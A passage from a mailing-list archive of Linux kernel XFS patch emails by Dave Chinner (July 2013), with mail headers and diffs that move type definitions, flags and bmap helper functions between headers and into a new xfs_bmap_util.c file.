a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -140,6 +140,7 @@ typedef enum { struct xfs_name { const unsigned char *name; int len; + int type; }; /* -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 491E07FA9 for ; Fri, 19 Jul 2013 01:25:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3A3DF8F8033 for ; Thu, 18 Jul 2013 23:25:55 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c03000c-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id k7VOIejWd8fMrL93 for ; Thu, 18 Jul 2013 23:25:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQVWMwgYMTkDGxmID7YvjnKFIAOhf4crgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:44 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-000488-Oc for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001xf-Nj for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 13/49] xfs: move unrealted definitions out of xfs_inode.h Date: Fri, 19 Jul 2013 16:24:44 +1000 X-ASG-Orig-Subj: [PATCH 13/49] xfs: move unrealted definitions out of xfs_inode.h Message-Id: <1374215120-7271-14-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215151 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- fs/xfs/xfs_ialloc.c | 1 + fs/xfs/xfs_icache.h | 7 +++++++ fs/xfs/xfs_inode.h | 38 -------------------------------------- fs/xfs/xfs_log_format.h | 8 ++++++++ 4 files changed, 16 insertions(+), 38 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 7a0c17d..bd4e2a7 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -39,6 +39,7 @@ #include "xfs_cksum.h" #include "xfs_buf_item.h" #include "xfs_icreate_item.h" +#include "xfs_icache.h" /* diff --git a/fs/xfs/xfs_icache.h b/fs/xfs/xfs_icache.h index a01afbb..e3f2ee0 100644 --- a/fs/xfs/xfs_icache.h +++ b/fs/xfs/xfs_icache.h @@ -24,6 +24,13 @@ struct xfs_perag; #define SYNC_WAIT 0x0001 /* wait for i/o to complete */ #define SYNC_TRYLOCK 0x0002 /* only try to lock inodes */ +/* + * Flags for xfs_iget() + */ +#define XFS_IGET_CREATE 0x1 +#define XFS_IGET_UNTRUSTED 0x2 +#define XFS_IGET_DONTCACHE 0x4 + int xfs_iget(struct xfs_mount *mp, struct xfs_trans *tp, xfs_ino_t ino, uint flags, uint lock_flags, xfs_inode_t **ipp); diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index bf0f714..0bd034a 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -34,37 +34,6 @@ struct xfs_imap { ushort im_boffset; /* inode offset in block in bytes */ }; -/* - * This is the xfs in-core inode structure. - * Most of the on-disk inode is embedded in the i_d field. - * - * The extent pointers/inline file space, however, are managed - * separately. The memory for this information is pointed to by - * the if_u1 unions depending on the type of the data. - * This is used to linearize the array of extents for fast in-core - * access. This is used until the file's number of extents - * surpasses XFS_MAX_INCORE_EXTENTS, at which point all extent pointers - * are accessed through the buffer cache. - * - * Other state kept in the in-core inode is used for identification, - * locking, transactional updating, etc of the inode. - * - * Generally, we do not want to hold the i_rlock while holding the - * i_ilock. Hierarchy is i_iolock followed by i_rlock. - * - * xfs_iptr_t contains all the inode fields up to and including the - * i_mnext and i_mprev fields, it is used as a marker in the inode - * chain off the mount structure by xfs_sync calls. - */ - -/* - * Flags for xfs_ichgtime(). - */ -#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ -#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ -#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ - - #ifdef __KERNEL__ struct xfs_buf; @@ -400,13 +369,6 @@ do { \ #endif /* __KERNEL__ */ -/* - * Flags for xfs_iget() - */ -#define XFS_IGET_CREATE 0x1 -#define XFS_IGET_UNTRUSTED 0x2 -#define XFS_IGET_DONTCACHE 0x4 - int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, struct xfs_imap *, struct xfs_dinode **, struct xfs_buf **, uint, uint); diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index faf3f43..198381e 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -393,6 +393,14 @@ struct xfs_log_item_desc { #define XFS_DQUOT_REF 1 /* + * Flags for xfs_trans_ichgtime(). + */ +#define XFS_ICHGTIME_MOD 0x1 /* data fork modification timestamp */ +#define XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ +#define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ + + +/* * Inode Log Item Format definitions. * * This is the structure used to lay out an inode log item in the -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 235357F6B for ; Fri, 19 Jul 2013 01:25:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B678AAC011 for ; Thu, 18 Jul 2013 23:25:54 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c5000a-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id eUuWy9nNEtm0WqKw for ; Thu, 18 Jul 2013 23:25:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQVWMwgYMTkDGxmID7YvjnKFIAOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:45 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048y-6j for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001zH-5q for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 33/49] xfs: move kernel specific type definitions to xfs.h Date: Fri, 19 Jul 2013 16:25:04 +1000 X-ASG-Orig-Subj: [PATCH 33/49] xfs: move kernel specific type definitions to xfs.h Message-Id: <1374215120-7271-34-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215152 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner xfs_types.h is shared with userspace, so having kernel specific types defined in it is problematic. Move all the kernel specific defines to xfs_linux.h so we can remove the __KERNEL__ guards from xfs_types.h Signed-off-by: Dave Chinner --- fs/xfs/xfs_linux.h | 32 ++++++++++++++++++++++++++++++++ fs/xfs/xfs_types.h | 36 ------------------------------------ 2 files changed, 32 insertions(+), 36 deletions(-) diff --git a/fs/xfs/xfs_linux.h b/fs/xfs/xfs_linux.h index 800f896..3bc52b7 100644 --- a/fs/xfs/xfs_linux.h +++ b/fs/xfs/xfs_linux.h @@ -32,6 +32,38 @@ # define XFS_BIG_INUMS 0 #endif +/* + * Kernel specific type declarations for XFS + */ +typedef signed char __int8_t; +typedef unsigned char __uint8_t; +typedef signed short int __int16_t; +typedef unsigned short int __uint16_t; +typedef signed int __int32_t; +typedef unsigned int __uint32_t; +typedef signed long long int __int64_t; +typedef unsigned long long int __uint64_t; + +typedef __uint32_t inst_t; /* an instruction */ + +typedef __s64 xfs_off_t; /* type */ +typedef unsigned long long xfs_ino_t; /* type */ +typedef __s64 xfs_daddr_t; /* type */ +typedef char * xfs_caddr_t; /* type */ +typedef __u32 xfs_dev_t; +typedef __u32 xfs_nlink_t; + +/* __psint_t is the same size as a pointer */ +#if (BITS_PER_LONG == 32) +typedef __int32_t __psint_t; +typedef __uint32_t __psunsigned_t; +#elif (BITS_PER_LONG == 64) +typedef __int64_t __psint_t; +typedef __uint64_t __psunsigned_t; +#else +#error BITS_PER_LONG must be 32 or 64 +#endif + #include "xfs_types.h" #include "kmem.h" diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index 6ed6b26..ce44b18 100644 --- a/fs/xfs/xfs_types.h +++ b/fs/xfs/xfs_types.h @@ -18,42 +18,6 @@ #ifndef __XFS_TYPES_H__ #define __XFS_TYPES_H__ -#ifdef __KERNEL__ - -/* - * Additional type declarations for XFS - */ -typedef signed char __int8_t; -typedef unsigned char __uint8_t; -typedef signed short int __int16_t; -typedef unsigned short int __uint16_t; -typedef signed int __int32_t; -typedef unsigned int __uint32_t; -typedef signed long long int __int64_t; -typedef unsigned long long int __uint64_t; - -typedef __uint32_t inst_t; /* an instruction */ - -typedef __s64 xfs_off_t; /* type */ -typedef unsigned long long xfs_ino_t; /* type */ -typedef __s64 xfs_daddr_t; /* type */ -typedef char * xfs_caddr_t; /* type */ -typedef __u32 xfs_dev_t; -typedef __u32 xfs_nlink_t; - -/* __psint_t is the same size as a pointer */ -#if (BITS_PER_LONG == 32) -typedef __int32_t __psint_t; -typedef __uint32_t __psunsigned_t; -#elif (BITS_PER_LONG == 64) -typedef __int64_t __psint_t; -typedef __uint64_t __psunsigned_t; -#else -#error BITS_PER_LONG must be 32 or 64 -#endif - -#endif /* __KERNEL__ */ - typedef __uint32_t prid_t; /* project ID */ typedef __uint32_t xfs_agblock_t; /* blockno in alloc. group */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:26:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C9D957FB4 for ; Fri, 19 Jul 2013 01:25:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 67E918F8033 for ; Thu, 18 Jul 2013 23:25:55 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50009-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id nIBkFiBeSUYwkr4e for ; Thu, 18 Jul 2013 23:25:50 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar8LAB3b6FF5LK4r/2dsb2JhbABagwauOpMMBAGBFRd0giQBAQUaAQwvFh0IGDE5AxsZiA+2L45fCAuBEoQOA6F/hyuDJCqBLAEDHA Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:39 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00048N-UZ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001yJ-T5 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 21/49] xfs: create xfs_bmap_util.[ch] Date: Fri, 19 Jul 2013 16:24:52 +1000 X-ASG-Orig-Subj: [PATCH 21/49] xfs: create xfs_bmap_util.[ch] Message-Id: <1374215120-7271-22-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215149 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There is a bunch of code in xfs_bmap.c that is kernel specific and not shared with userspace. to minimise the difference between the kernel and userspace code, shift this unshared code to xfs_bmap_util.c, and the declarations to xfs_bmap_util.h. The biggest issue here is xfs_bmap_finish() - userspce has it's own definition of this function, and so we need to move it out of xfs_bmap.[ch]. This means several other files need to include xfs_bmap_util.c as well. It also introduces and interesting dance for the stack switching code in xfs_bmapi_allocate(). The stack switching/workqueue code is actually moved to xfs_bmap_util.c, so that userspace can simply use a #define in a header file to connect the dots without needing to know about the stack switch code at all. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 + fs/xfs/xfs_aops.c | 1 + fs/xfs/xfs_attr.c | 1 + fs/xfs/xfs_attr_remote.c | 1 + fs/xfs/xfs_bmap.c | 804 +-------------------------------------------- fs/xfs/xfs_bmap.h | 56 ---- fs/xfs/xfs_bmap_util.c | 834 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 96 ++++++ fs/xfs/xfs_dfrag.c | 1 + fs/xfs/xfs_dquot.c | 1 + fs/xfs/xfs_filestream.c | 5 +- fs/xfs/xfs_inode.c | 1 + fs/xfs/xfs_ioctl.c | 1 + fs/xfs/xfs_iomap.c | 1 + fs/xfs/xfs_iops.c | 1 + fs/xfs/xfs_rename.c | 1 + fs/xfs/xfs_rtalloc.c | 1 + fs/xfs/xfs_symlink.c | 1 + fs/xfs/xfs_trans_resv.c | 1 + fs/xfs/xfs_vnodeops.c | 1 + 20 files changed, 957 insertions(+), 853 deletions(-) create mode 100644 fs/xfs/xfs_bmap_util.c create mode 100644 fs/xfs/xfs_bmap_util.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index fb14461..dcd21b9 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -30,6 +30,7 @@ xfs-y += xfs_aops.o \ xfs_attr_inactive.o \ xfs_attr_list.o \ xfs_bit.o \ + xfs_bmap_util.o \ xfs_buf.o \ xfs_dfrag.o \ xfs_dir2_readdir.o \ diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 596ec71..bf1270f 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -31,6 +31,7 @@ #include "xfs_vnodeops.h" #include "xfs_trace.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include #include #include diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index 6ab77e3..91acc38 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -33,6 +33,7 @@ #include "xfs_alloc.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_attr.h" #include "xfs_attr_leaf.h" #include "xfs_attr_remote.h" diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 39a59ea..13a0ed9 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -34,6 +34,7 @@ #include "xfs_alloc.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_attr.h" #include "xfs_attr_leaf.h" #include "xfs_attr_remote.h" diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 72a2eea..1f09faf 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -40,6 +40,7 @@ #include "xfs_extfree_item.h" #include "xfs_alloc.h" #include "xfs_bmap.h" +#include "xfs_bmap_util.h" #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_attr_leaf.h" @@ -109,19 +110,6 @@ xfs_bmap_compute_maxlevels( mp->m_bm_maxlevels[whichfork] = level; } -/* - * Convert the given file system block to a disk block. We have to treat it - * differently based on whether the file is a real time file or not, because the - * bmap code does. - */ -xfs_daddr_t -xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) -{ - return (XFS_IS_REALTIME_INODE(ip) ? \ - (xfs_daddr_t)XFS_FSB_TO_BB((ip)->i_mount, (fsb)) : \ - XFS_FSB_TO_DADDR((ip)->i_mount, (fsb))); -} - STATIC int /* error */ xfs_bmbt_lookup_eq( struct xfs_btree_cur *cur, @@ -264,173 +252,6 @@ xfs_bmap_forkoff_reset( } /* - * Extent tree block counting routines. - */ - -/* - * Count leaf blocks given a range of extent records. - */ -STATIC void -xfs_bmap_count_leaves( - xfs_ifork_t *ifp, - xfs_extnum_t idx, - int numrecs, - int *count) -{ - int b; - - for (b = 0; b < numrecs; b++) { - xfs_bmbt_rec_host_t *frp = xfs_iext_get_ext(ifp, idx + b); - *count += xfs_bmbt_get_blockcount(frp); - } -} - -/* - * Count leaf blocks given a range of extent records originally - * in btree format. - */ -STATIC void -xfs_bmap_disk_count_leaves( - struct xfs_mount *mp, - struct xfs_btree_block *block, - int numrecs, - int *count) -{ - int b; - xfs_bmbt_rec_t *frp; - - for (b = 1; b <= numrecs; b++) { - frp = XFS_BMBT_REC_ADDR(mp, block, b); - *count += xfs_bmbt_disk_get_blockcount(frp); - } -} - -/* - * Recursively walks each level of a btree - * to count total fsblocks is use. - */ -STATIC int /* error */ -xfs_bmap_count_tree( - xfs_mount_t *mp, /* file system mount point */ - xfs_trans_t *tp, /* transaction pointer */ - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fsblock_t blockno, /* file system block number */ - int levelin, /* level in btree */ - int *count) /* Count of blocks */ -{ - int error; - xfs_buf_t *bp, *nbp; - int level = levelin; - __be64 *pp; - xfs_fsblock_t bno = blockno; - xfs_fsblock_t nextbno; - struct xfs_btree_block *block, *nextblock; - int numrecs; - - error = xfs_btree_read_bufl(mp, tp, bno, 0, &bp, XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - block = XFS_BUF_TO_BLOCK(bp); - - if (--level) { - /* Not at node above leaves, count this level of nodes */ - nextbno = be64_to_cpu(block->bb_u.l.bb_rightsib); - while (nextbno != NULLFSBLOCK) { - error = xfs_btree_read_bufl(mp, tp, nextbno, 0, &nbp, - XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - nextblock = XFS_BUF_TO_BLOCK(nbp); - nextbno = be64_to_cpu(nextblock->bb_u.l.bb_rightsib); - xfs_trans_brelse(tp, nbp); - } - - /* Dive to the next level */ - pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); - bno = be64_to_cpu(*pp); - if (unlikely((error = - xfs_bmap_count_tree(mp, tp, ifp, bno, level, count)) < 0)) { - xfs_trans_brelse(tp, bp); - XFS_ERROR_REPORT("xfs_bmap_count_tree(1)", - XFS_ERRLEVEL_LOW, mp); - return XFS_ERROR(EFSCORRUPTED); - } - xfs_trans_brelse(tp, bp); - } else { - /* count all level 1 nodes and their leaves */ - for (;;) { - nextbno = be64_to_cpu(block->bb_u.l.bb_rightsib); - numrecs = be16_to_cpu(block->bb_numrecs); - xfs_bmap_disk_count_leaves(mp, block, numrecs, count); - xfs_trans_brelse(tp, bp); - if (nextbno == NULLFSBLOCK) - break; - bno = nextbno; - error = xfs_btree_read_bufl(mp, tp, bno, 0, &bp, - XFS_BMAP_BTREE_REF, - &xfs_bmbt_buf_ops); - if (error) - return error; - *count += 1; - block = XFS_BUF_TO_BLOCK(bp); - } - } - return 0; -} - -/* - * Count fsblocks of the given fork. - */ -int /* error */ -xfs_bmap_count_blocks( - xfs_trans_t *tp, /* transaction pointer */ - xfs_inode_t *ip, /* incore inode */ - int whichfork, /* data or attr fork */ - int *count) /* out: count of blocks */ -{ - struct xfs_btree_block *block; /* current btree block */ - xfs_fsblock_t bno; /* block # of "block" */ - xfs_ifork_t *ifp; /* fork structure */ - int level; /* btree level, for checking */ - xfs_mount_t *mp; /* file system mount structure */ - __be64 *pp; /* pointer to block address */ - - bno = NULLFSBLOCK; - mp = ip->i_mount; - ifp = XFS_IFORK_PTR(ip, whichfork); - if ( XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_EXTENTS ) { - xfs_bmap_count_leaves(ifp, 0, - ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t), - count); - return 0; - } - - /* - * Root level must use BMAP_BROOT_PTR_ADDR macro to get ptr out. - */ - block = ifp->if_broot; - level = be16_to_cpu(block->bb_level); - ASSERT(level > 0); - pp = XFS_BMAP_BROOT_PTR_ADDR(mp, block, 1, ifp->if_broot_bytes); - bno = be64_to_cpu(*pp); - ASSERT(bno != NULLDFSBNO); - ASSERT(XFS_FSB_TO_AGNO(mp, bno) < mp->m_sb.sb_agcount); - ASSERT(XFS_FSB_TO_AGBNO(mp, bno) < mp->m_sb.sb_agblocks); - - if (unlikely(xfs_bmap_count_tree(mp, tp, ifp, bno, level, count) < 0)) { - XFS_ERROR_REPORT("xfs_bmap_count_blocks(2)", XFS_ERRLEVEL_LOW, - mp); - return XFS_ERROR(EFSCORRUPTED); - } - - return 0; -} - -/* * Debug/sanity checking code */ @@ -824,7 +645,7 @@ xfs_bmap_add_free( * Remove the entry "free" from the free item list. Prev points to the * previous entry, unless "free" is the head of the list. */ -STATIC void +void xfs_bmap_del_free( xfs_bmap_free_t *flist, /* free item list header */ xfs_bmap_free_item_t *prev, /* previous item on list, if any */ @@ -838,92 +659,6 @@ xfs_bmap_del_free( kmem_zone_free(xfs_bmap_free_item_zone, free); } - -/* - * Routine to be called at transaction's end by xfs_bmapi, xfs_bunmapi - * caller. Frees all the extents that need freeing, which must be done - * last due to locking considerations. We never free any extents in - * the first transaction. - * - * Return 1 if the given transaction was committed and a new one - * started, and 0 otherwise in the committed parameter. - */ -int /* error */ -xfs_bmap_finish( - xfs_trans_t **tp, /* transaction pointer addr */ - xfs_bmap_free_t *flist, /* i/o: list extents to free */ - int *committed) /* xact committed or not */ -{ - xfs_efd_log_item_t *efd; /* extent free data */ - xfs_efi_log_item_t *efi; /* extent free intention */ - int error; /* error return value */ - xfs_bmap_free_item_t *free; /* free extent item */ - unsigned int logres; /* new log reservation */ - unsigned int logcount; /* new log count */ - xfs_mount_t *mp; /* filesystem mount structure */ - xfs_bmap_free_item_t *next; /* next item on free list */ - xfs_trans_t *ntp; /* new transaction pointer */ - - ASSERT((*tp)->t_flags & XFS_TRANS_PERM_LOG_RES); - if (flist->xbf_count == 0) { - *committed = 0; - return 0; - } - ntp = *tp; - efi = xfs_trans_get_efi(ntp, flist->xbf_count); - for (free = flist->xbf_first; free; free = free->xbfi_next) - xfs_trans_log_efi_extent(ntp, efi, free->xbfi_startblock, - free->xbfi_blockcount); - logres = ntp->t_log_res; - logcount = ntp->t_log_count; - ntp = xfs_trans_dup(*tp); - error = xfs_trans_commit(*tp, 0); - *tp = ntp; - *committed = 1; - /* - * We have a new transaction, so we should return committed=1, - * even though we're returning an error. - */ - if (error) - return error; - - /* - * transaction commit worked ok so we can drop the extra ticket - * reference that we gained in xfs_trans_dup() - */ - xfs_log_ticket_put(ntp->t_ticket); - - if ((error = xfs_trans_reserve(ntp, 0, logres, 0, XFS_TRANS_PERM_LOG_RES, - logcount))) - return error; - efd = xfs_trans_get_efd(ntp, efi, flist->xbf_count); - for (free = flist->xbf_first; free != NULL; free = next) { - next = free->xbfi_next; - if ((error = xfs_free_extent(ntp, free->xbfi_startblock, - free->xbfi_blockcount))) { - /* - * The bmap free list will be cleaned up at a - * higher level. The EFI will be canceled when - * this transaction is aborted. - * Need to force shutdown here to make sure it - * happens, since this transaction may not be - * dirty yet. - */ - mp = ntp->t_mountp; - if (!XFS_FORCED_SHUTDOWN(mp)) - xfs_force_shutdown(mp, - (error == EFSCORRUPTED) ? - SHUTDOWN_CORRUPT_INCORE : - SHUTDOWN_META_IO_ERROR); - return error; - } - xfs_trans_log_efd_extent(ntp, efd, free->xbfi_startblock, - free->xbfi_blockcount); - xfs_bmap_del_free(flist, NULL, free); - } - return 0; -} - /* * Free up any items left in the list. */ @@ -1864,7 +1599,7 @@ xfs_bmap_last_before( return 0; } -STATIC int +int xfs_bmap_last_extent( struct xfs_trans *tp, struct xfs_inode *ip, @@ -1928,29 +1663,6 @@ xfs_bmap_isaeof( } /* - * Check if the endoff is outside the last extent. If so the caller will grow - * the allocation to a stripe unit boundary. All offsets are considered outside - * the end of file for an empty fork, so 1 is returned in *eof in that case. - */ -int -xfs_bmap_eof( - struct xfs_inode *ip, - xfs_fileoff_t endoff, - int whichfork, - int *eof) -{ - struct xfs_bmbt_irec rec; - int error; - - error = xfs_bmap_last_extent(NULL, ip, whichfork, &rec, eof); - if (error || *eof) - return error; - - *eof = endoff >= rec.br_startoff + rec.br_blockcount; - return 0; -} - -/* * Returns the file-relative block number of the first block past eof in * the file. This is not based on i_size, it is based on the extent records. * Returns 0 for local files, as they do not have extent records. @@ -3489,7 +3201,7 @@ done: /* * Adjust the size of the new extent based on di_extsize and rt extsize. */ -STATIC int +int xfs_bmap_extsize_align( xfs_mount_t *mp, xfs_bmbt_irec_t *gotp, /* next extent pointer */ @@ -3651,9 +3363,9 @@ xfs_bmap_extsize_align( #define XFS_ALLOC_GAP_UNITS 4 -STATIC void +void xfs_bmap_adjacent( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ + struct xfs_bmalloca *ap) /* bmap alloc argument struct */ { xfs_fsblock_t adjust; /* adjustment to block numbers */ xfs_agnumber_t fb_agno; /* ag number of ap->firstblock */ @@ -3800,109 +3512,6 @@ xfs_bmap_adjacent( } STATIC int -xfs_bmap_rtalloc( - xfs_bmalloca_t *ap) /* bmap alloc argument struct */ -{ - xfs_alloctype_t atype = 0; /* type for allocation routines */ - int error; /* error return value */ - xfs_mount_t *mp; /* mount point structure */ - xfs_extlen_t prod = 0; /* product factor for allocators */ - xfs_extlen_t ralen = 0; /* realtime allocation length */ - xfs_extlen_t align; /* minimum allocation alignment */ - xfs_rtblock_t rtb; - 